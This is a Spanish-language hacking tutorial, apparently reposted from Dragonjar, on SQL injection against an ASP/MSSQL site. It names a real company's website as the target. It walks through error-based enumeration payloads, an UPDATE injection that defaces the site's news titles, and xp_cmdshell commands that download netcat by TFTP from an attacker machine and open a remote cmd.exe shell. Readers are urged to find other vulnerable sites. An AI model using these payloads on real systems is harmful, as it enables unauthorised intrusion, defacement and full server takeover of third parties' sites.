SQL INYEXION - noticias.asp

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:

update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2'–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe ?l ?p 8000 ?e cmd.exe’ ?-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

Fuente: Dragonjar

0 comentarios: